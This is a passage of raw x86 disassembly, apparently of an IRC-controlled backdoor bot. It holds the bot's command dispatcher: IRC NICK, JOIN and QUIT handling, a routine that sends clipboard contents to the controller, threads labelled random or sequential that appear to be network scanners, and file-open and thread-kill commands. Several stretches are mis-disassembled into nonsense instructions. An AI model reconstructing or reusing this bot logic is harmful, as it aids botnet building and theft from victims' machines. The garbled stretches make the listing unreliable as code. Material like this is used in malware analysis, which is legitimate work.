		add	esp, 20h
		jmp	short loc_40C9C0
; ---------------------------------------------------------------------------


loc_40C9F1:				; CODE XREF: seg000:0040C9C2j
		push	esi
		call	sub_411954
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A4B8
		push	eax
		call	sub_4104AF
		add	esp, 10h
		jmp	loc_40DA06
; ---------------------------------------------------------------------------


loc_40CA11:				; CODE XREF: seg000:0040C9A8j
		push	edi
		push	offset dword_42A484
		jmp	loc_40B06D
; ---------------------------------------------------------------------------


loc_40CA1C:				; CODE XREF: seg000:0040A6E1j
					; seg000:0040A6F8j
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40DD93
		push	offset asc_41EC08 ; "\n"
		push	esi
		call	sub_411AE0
		push	esi
		call	sub_407157
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40CA5C
		push	offset dword_42A444
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40CA5C:				; CODE XREF: seg000:0040CA50j
		push	esi
		push	offset dword_42A418
		jmp	loc_40D9F7
; ---------------------------------------------------------------------------


loc_40CA67:				; CODE XREF: seg000:0040A6B3j
					; seg000:0040A6CAj
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40DD93
		push	eax
		call	sub_40683B
		test	eax, eax
		pop	ecx
		jnz	short loc_40CA98
		push	offset unk_42A3E8
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40CA98:				; CODE XREF: seg000:0040CA8Cj
		push	offset dword_42A3B8
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40CAA2:				; CODE XREF: seg000:0040A685j
					; seg000:0040A69Cj
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	sub_403906
		push	edi
		push	offset dword_42A390
		jmp	loc_40C617
; ---------------------------------------------------------------------------


loc_40CABD:				; CODE XREF: seg000:0040A657j
					; seg000:0040A66Ej
		push	edi
		call	near ptr 0A70000h
		retf	0C085h
; ---------------------------------------------------------------------------
		jz	short loc_40CAD0
		push	edi
		push	offset dword_42A360
		jmp	short loc_40CADB
; ---------------------------------------------------------------------------


loc_40CAD0:				; CODE XREF: seg000:0040CAC6j
		push	offset dword_42A964
		call	sub_406776
		push	eax


loc_40CADB:				; CODE XREF: seg000:0040CACEj
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 10h
		jmp	loc_40C3A0
; ---------------------------------------------------------------------------


loc_40CAF4:				; CODE XREF: seg000:0040A629j
					; seg000:0040A640j
		push	edi
		call	sub_41098F
		push	eax
		call	sub_40F2C7
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_40CB11
		push	offset dword_42A328
		jmp	short loc_40CB16
; ---------------------------------------------------------------------------


loc_40CB11:				; CODE XREF: seg000:0040CB08j
		push	offset dword_42A2E0


loc_40CB16:				; CODE XREF: seg000:0040CB0Fj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40C15C
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h
		jmp	loc_40C15C
; ---------------------------------------------------------------------------


loc_40CB4F:				; CODE XREF: seg000:0040A5FBj
					; seg000:0040A612j
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_40F038
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40CB71
		push	offset dword_42A2A8
		jmp	loc_40C37C
; ---------------------------------------------------------------------------


loc_40CB71:				; CODE XREF: seg000:0040CB65j
		push	offset dword_42A264
		jmp	loc_40C37C
; ---------------------------------------------------------------------------


loc_40CB7B:				; CODE XREF: seg000:0040A5CDj
					; seg000:0040A5E4j
		push	edi
		call	ds:dword_42FA58
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_40CBB8
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_42F9D0
		cmp	eax, ebx
		jz	short loc_40CBD3
		push	dword ptr [eax]


loc_40CB9E:				; CODE XREF: seg000:0040CBD1j
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A234
		push	eax
		call	sub_4104AF
		add	esp, 10h
		jmp	loc_40B07C
; ---------------------------------------------------------------------------


loc_40CBB8:				; CODE XREF: seg000:0040CB88j
		push	edi
		call	ds:dword_42FA9C
		cmp	eax, ebx
		jz	short loc_40CBD3
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_42FAA4
		push	eax
		jmp	short loc_40CB9E
; ---------------------------------------------------------------------------


loc_40CBD3:				; CODE XREF: seg000:0040CB9Aj
					; seg000:0040CBC1j
		push	offset dword_42A1F8
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40CBDD:				; CODE XREF: seg000:0040A59Fj
					; seg000:0040A5B6j
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_411C90
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42A1C0
		push	eax
		call	sub_4104AF
		add	esp, 18h
		jmp	loc_40C138
; ---------------------------------------------------------------------------


loc_40CC02:				; CODE XREF: seg000:0040A571j
					; seg000:0040A588j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_42F98C
		test	eax, eax
		push	edi
		jz	short loc_40CC22
		push	offset unk_42A190
		jmp	loc_40C37C
; ---------------------------------------------------------------------------


loc_40CC22:				; CODE XREF: seg000:0040CC16j
		push	offset unk_42A158
		jmp	loc_40C37C
; ---------------------------------------------------------------------------


loc_40CC2C:				; CODE XREF: seg000:0040A543j
					; seg000:0040A55Aj
		mov	al, [edi]
		mov	ds:byte_42249C,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_42A120
		jmp	loc_40DD10
; ---------------------------------------------------------------------------


loc_40CC41:				; CODE XREF: seg000:0040A515j
					; seg000:0040A52Cj
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40F699
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42A734
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		jmp	loc_40C561
; ---------------------------------------------------------------------------


loc_40CC8C:				; CODE XREF: seg000:0040A4E7j
					; seg000:0040A4FEj
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	loc_4093BE
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_4093BE
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DF6C
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_41C050	; Sleep
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	ds:dword_42FAB0
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BBC[eax]
		call	near ptr 0A70000h
		adc	dword ptr [edi-18h], 7Dh
		cmp	al, 0
		add	[ecx-40h], ch
		xor	al, 2
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		push	edi
		mov	ds:dword_434BBC[eax], ebx
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_4349A8[eax], bl
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40CD37:				; CODE XREF: seg000:0040A4B9j
					; seg000:0040A4D0j
		push	edi
		push	offset aAll	; "all"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CD66
		call	sub_410124
		cmp	eax, ebx
		jle	short loc_40CD5C
		push	eax
		push	offset dword_42A0D0
		jmp	loc_40B10B
; ---------------------------------------------------------------------------


loc_40CD5C:				; CODE XREF: seg000:0040CD4Fj
		push	offset dword_42A094
		jmp	loc_40D569
; ---------------------------------------------------------------------------


loc_40CD66:				; CODE XREF: seg000:0040CD46j
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_4093BE
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_40CD82:				; CODE XREF: seg000:0040CDF3j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_4093BE
		push	esi
		call	sub_41098F
		push	eax
		call	sub_410096
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40CDA9
		push	offset dword_42A05C
		jmp	short loc_40CDAE
; ---------------------------------------------------------------------------


loc_40CDA9:				; CODE XREF: seg000:0040CDA0j
		push	offset dword_42A01C


loc_40CDAE:				; CODE XREF: seg000:0040CDA7j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40CDDE
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40CDDE:				; CODE XREF: seg000:0040CDC0j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40CD82
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40CDFA:				; CODE XREF: seg000:0040A48Bj
					; seg000:0040A4A2j
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40DD93
		push	esi
		push	offset dword_42A748
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	esi
		push	offset dword_429FF0
		jmp	loc_40C743
; ---------------------------------------------------------------------------


loc_40CE31:				; CODE XREF: seg000:0040A45Dj
					; seg000:0040A474j
		push	edi
		push	offset dword_42A654
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	edi
		push	offset dword_429FBC
		jmp	loc_40C743
; ---------------------------------------------------------------------------


loc_40CE4A:				; CODE XREF: seg000:0040A42Fj
					; seg000:0040A446j
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	edi
		push	offset dword_429F88
		jmp	loc_40C617
; ---------------------------------------------------------------------------


loc_40CE6A:				; CODE XREF: seg000:0040A401j
					; seg000:0040A418j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40DF6C
		push	edi
		push	offset dword_429F50
		jmp	loc_40C743
; ---------------------------------------------------------------------------


loc_40CE83:				; CODE XREF: seg000:0040A3C6j
					; seg000:0040A3DBj
		mov	al, ds:byte_41F322
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_41F322
		jz	loc_4093BE
		mov	ecx, edx


loc_40CE9A:				; CODE XREF: seg000:0040CEA2j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40CE9A
		cmp	al, bl
		jz	loc_4093BE
		mov	[ebp+20h], edx


loc_40CEAF:				; CODE XREF: seg000:0040D16Dj
		push	8
		call	sub_4101A3
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_40CEFE
		push	ecx
		lea	eax, [ebp-2E4h]
		push	offset dword_42AE00
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 20h
		jmp	loc_40D164
; ---------------------------------------------------------------------------


loc_40CEFE:				; CODE XREF: seg000:0040CEC9j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_41F288, ebx
		mov	dword ptr [ebp-304h], 41h
		mov	dword ptr [ebp-318h], 5
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_40CF6F
		mov	eax, [ebp+20h]
		mov	edi, offset dword_41F288
		lea	esi, [eax-0Ah]


loc_40CF39:				; CODE XREF: seg000:0040CF51j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CF55
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40CF39
		jmp	short loc_40CF6F
; ---------------------------------------------------------------------------


loc_40CF55:				; CODE XREF: seg000:0040CF47j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_41F288[ecx]
		mov	[ebp-31Ch], ecx


loc_40CF6F:				; CODE XREF: seg000:0040CF2Cj
					; seg000:0040CF53j
		cmp	[ebp-31Ch], ebx
		jz	loc_40D178
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-0D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42F9BC
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_411C90
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_411F90
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_40D011


loc_40CFEF:				; CODE XREF: seg000:0040D00Fj
		cmp	eax, ebx
		jz	short loc_40D011
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_411F90
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40CFEF


loc_40D011:				; CODE XREF: seg000:0040CFEDj
					; seg000:0040CFF1j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_41099A
		mov	edi, offset dword_422544
		push	offset byte_42E658
		push	edi
		call	sub_4117C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D07B
		push	edi
		lea	eax, [ebp-3A0h]
		push	80h
		push	eax
		call	sub_41099A
		add	esp, 0Ch
		jmp	short loc_40D081
; ---------------------------------------------------------------------------


loc_40D07B:				; CODE XREF: seg000:0040D062j
		mov	[ebp-3A0h], bl


loc_40D081:				; CODE XREF: seg000:0040D079j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40D093
		mov	eax, offset aSequential	; "Sequential"


loc_40D093:				; CODE XREF: seg000:0040D08Cj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_429ED4
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_40FF5B
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_404EF5
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40D11D


loc_40D10B:				; CODE XREF: seg000:0040D11Bj
		cmp	[ebp-2ECh], ebx
		jnz	short loc_40D138
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40D10B
; ---------------------------------------------------------------------------


loc_40D11D:				; CODE XREF: seg000:0040D109j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42ACDC
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40D138:				; CODE XREF: seg000:0040D111j
		cmp	[ebp-8], ebx
		jnz	short loc_40D157
		push	ebx
		lea	eax, [ebp-2E4h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40D157:				; CODE XREF: seg000:0040D13Bj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		pop	ecx


loc_40D164:				; CODE XREF: seg000:0040CEF9j
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_40CEAF
		jmp	loc_4093BE
; ---------------------------------------------------------------------------


loc_40D178:				; CODE XREF: seg000:0040B7A0j
					; seg000:0040CF75j
		push	offset dword_429E88
		jmp	loc_40D569
; ---------------------------------------------------------------------------


loc_40D182:				; CODE XREF: seg000:0040A39Cj
					; seg000:0040A3B1j
		push	4
		call	sub_4101A3
		test	eax, eax
		pop	ecx
		jle	short loc_40D1A6
		lea	eax, [ebp-2E4h]
		push	offset unk_429E54
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	loc_40C138
; ---------------------------------------------------------------------------


loc_40D1A6:				; CODE XREF: seg000:0040D18Cj
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_40D1C9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 0Ch
		jmp	short near ptr loc_40D1DC+1
; ---------------------------------------------------------------------------


loc_40D1C9:				; CODE XREF: seg000:0040D1AFj
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0A70000h


loc_40D1DC:				; CODE XREF: seg000:0040D1C7j
		mov	eax, ds:7435B48Bh
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		cmp	esi, ebx
		jnz	short loc_40D1ED
		mov	esi, offset byte_4224F4


loc_40D1ED:				; CODE XREF: seg000:0040D1E6j
		push	esi
		lea	eax, [ebp-700h]
		push	edi
		push	eax
		call	sub_41099A
		mov	eax, ds:dword_422488
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-5F4h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-5F8h], ebx
		mov	[ebp-808h], eax
		lea	eax, [ebp-5F0h]
		push	eax
		call	sub_411C90
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-700h]
		push	eax
		lea	eax, [ebp-804h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-5F4h]
		push	offset unk_41F574
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	4
		push	eax
		call	sub_40FF5B
		add	esp, 38h
		mov	[ebp-5FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-808h]
		push	ebx
		push	eax
		push	offset loc_404194
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-5FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40D2BD


loc_40D2A7:				; CODE XREF: seg000:0040D2BBj
		cmp	[ebp-568h], ebx
		jnz	loc_40C138
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40D2A7
; ---------------------------------------------------------------------------


loc_40D2BD:				; CODE XREF: seg000:0040D2A5j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429E08
		jmp	loc_40DD10
; ---------------------------------------------------------------------------


loc_40D2CE:				; CODE XREF: seg000:0040A372j
					; seg000:0040A387j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_40D2ED
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jz	short loc_40D2ED
		push	edi
		call	sub_41098F
		pop	ecx
		jmp	short loc_40D2F2
; ---------------------------------------------------------------------------


loc_40D2ED:				; CODE XREF: seg000:0040D2D7j
					; seg000:0040D2E2j
		mov	eax, ds:dword_42248C


loc_40D2F2:				; CODE XREF: seg000:0040D2EBj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_40D325
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	short loc_40D350
; ---------------------------------------------------------------------------


loc_40D325:				; CODE XREF: seg000:0040D312j
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 0A70000h
		out	53h, al
		push	ebx
		lea	eax, [ebp-0D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_412178
		add	esp, 14h


loc_40D350:				; CODE XREF: seg000:0040D323j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_410A70
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_40D37B
		lea	eax, [ebp-688h]
		push	eax
		call	sub_410A70
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_40D37B:				; CODE XREF: seg000:0040D365j
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_41099A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_406CDF
		pop	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_41F444
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	3
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_403079
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40D42F


loc_40D41D:				; CODE XREF: seg000:0040D42Dj
		cmp	[ebp-568h], ebx
		jnz	short loc_40D44A
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40D41D
; ---------------------------------------------------------------------------


loc_40D42F:				; CODE XREF: seg000:0040D41Bj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429DBC


loc_40D43B:				; CODE XREF: seg000:0040BCBAj
					; seg000:0040BDB4j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40D44A:				; CODE XREF: seg000:0040BC9Ej
					; seg000:0040BD98j ...
		cmp	[ebp-8], ebx
		jnz	loc_40B13B
		push	ebx
		push	edi


loc_40D455:				; CODE XREF: seg000:0040B566j
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40B133
; ---------------------------------------------------------------------------


loc_40D468:				; CODE XREF: seg000:0040A348j
					; seg000:0040A35Dj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40D47B
		push	esi
		call	sub_41098F
		jmp	short loc_40D482
; ---------------------------------------------------------------------------


loc_40D47B:				; CODE XREF: seg000:0040D471j
		push	8
		call	sub_4101C2


loc_40D482:				; CODE XREF: seg000:0040D479j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40DD93
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_404755


loc_40D49D:				; CODE XREF: seg000:0040D91Cj
		add	esp, 10h
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40D4A5:				; CODE XREF: seg000:0040A31Ej
					; seg000:0040A333j
		mov	eax, ds:dword_42F940
		cmp	eax, ebx
		jz	short loc_40D4C2
		call	eax ; dword_42F940
		test	eax, eax
		jz	short loc_40D4BB
		push	offset unk_429D84
		jmp	short loc_40D4D7
; ---------------------------------------------------------------------------


loc_40D4BB:				; CODE XREF: seg000:0040D4B2j
		push	offset unk_429D44
		jmp	short loc_40D4D7
; ---------------------------------------------------------------------------


loc_40D4C2:				; CODE XREF: seg000:0040D4ACj
		push	offset unk_429D04
		jmp	short loc_40D4D7
; ---------------------------------------------------------------------------


loc_40D4C9:				; CODE XREF: seg000:0040A2F4j
					; seg000:0040A309j
		call	sub_406C01
		test	eax, eax
		jz	short loc_40D4ED
		push	offset unk_429CCC


loc_40D4D7:				; CODE XREF: seg000:0040D4B9j
					; seg000:0040D4C0j ...
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_41099A
		jmp	loc_40C388
; ---------------------------------------------------------------------------


loc_40D4ED:				; CODE XREF: seg000:0040D4D0j
		push	offset unk_429C8C
		jmp	short loc_40D4D7
; ---------------------------------------------------------------------------


loc_40D4F4:				; CODE XREF: seg000:0040A2CAj
					; seg000:0040A2DFj
		cmp	[ebp-8], ebx
		jnz	short loc_40D513
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40D513:				; CODE XREF: seg000:0040D4F7j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_406800
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		push	offset dword_429C48
		jmp	loc_40D7EB
; ---------------------------------------------------------------------------


loc_40D535:				; CODE XREF: seg000:0040A1EAj
					; seg000:0040A1FFj
		push	7
		call	sub_4101A3
		test	eax, eax
		pop	ecx
		jle	short loc_40D548
		push	offset dword_429C0C
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D548:				; CODE XREF: seg000:0040D53Fj
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	loc_40736B
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40D564
		push	offset dword_429BD0
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D564:				; CODE XREF: seg000:0040D55Bj
		push	offset dword_429B9C


loc_40D569:				; CODE XREF: seg000:0040B303j
					; seg000:0040B433j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	loc_40B11A
; ---------------------------------------------------------------------------


loc_40D57C:				; CODE XREF: seg000:0040A1C0j
					; seg000:0040A1D5j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4061ED
		jmp	loc_40D809
; ---------------------------------------------------------------------------


loc_40D595:				; CODE XREF: seg000:0040A196j
					; seg000:0040A1ABj
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_408603
		jmp	loc_40D809
; ---------------------------------------------------------------------------


loc_40D5B2:				; CODE XREF: seg000:0040A16Cj
					; seg000:0040A181j
		or	edi, 0FFFFFFFFh
		call	ds:dword_41C04C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_40D5DB
		push	esi
		call	sub_41098F
		pop	ecx
		mov	edi, eax


loc_40D5DB:				; CODE XREF: seg000:0040D5D0j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40D5F4
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40DD93


loc_40D5F4:				; CODE XREF: seg000:0040D5E9j
